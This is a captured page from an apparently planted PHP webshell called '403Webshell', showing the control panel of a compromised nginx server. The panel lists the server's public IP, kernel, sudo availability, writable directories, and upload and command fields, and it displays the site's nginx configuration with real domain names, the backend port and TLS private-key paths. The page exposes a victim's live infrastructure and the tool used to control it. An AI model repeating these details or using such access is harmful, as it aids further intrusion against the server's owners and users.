403Webshell
Server IP : 65.1.209.187  /  Your IP : 216.73.216.144
Web Server : nginx/1.24.0
System : Linux ip-172-31-5-206 6.14.0-1015-aws #15~24.04.1-Ubuntu SMP Tue Sep 23 22:44:48 UTC 2025 x86_64
User :  ( 1001)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /etc/nginx/sites-available/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/nginx/sites-available/scholar-drjunior.api.prod.quditinfotech.com
server {

    server_name scholar-drjunior.api.prod.quditinfotech.com scholar.api.prod.drjunior.in;

    # Optional: allow uploads / large JSON
    client_max_body_size 10000m;

    location / {
        proxy_pass http://127.0.0.1:8115;

        # Keep original host + real client IP
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;

        # WebSockets support (important for socket.io / ws)
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";

        # Optional timeouts (useful for long requests)
        proxy_connect_timeout 60s;
        proxy_send_timeout 60s;
        proxy_read_timeout 60s;
    }

    listen 443 ssl; # managed by Certbot
    listen [::]:443 ssl; # managed by Certbot
    ssl_certificate /etc/letsencrypt/live/scholar-drjunior.api.prod.quditinfotech.com/fullchain.pem; # managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/scholar-drjunior.api.prod.quditinfotech.com/privkey.pem; # managed by Certbot
    include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot
    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot



}
server {
    if ($host = scholar.api.prod.drjunior.in) {
        return 301 https://$host$request_uri;
    } # managed by Certbot


    if ($host = scholar-drjunior.api.prod.quditinfotech.com) {
        return 301 https://$host$request_uri;
    } # managed by Certbot


    listen 80;
    listen [::]:80;

    server_name scholar-drjunior.api.prod.quditinfotech.com scholar.api.prod.drjunior.in;

    return 301 https://$host$request_uri;




}

Youez - 2016 - github.com/yon3zu
LinuXploit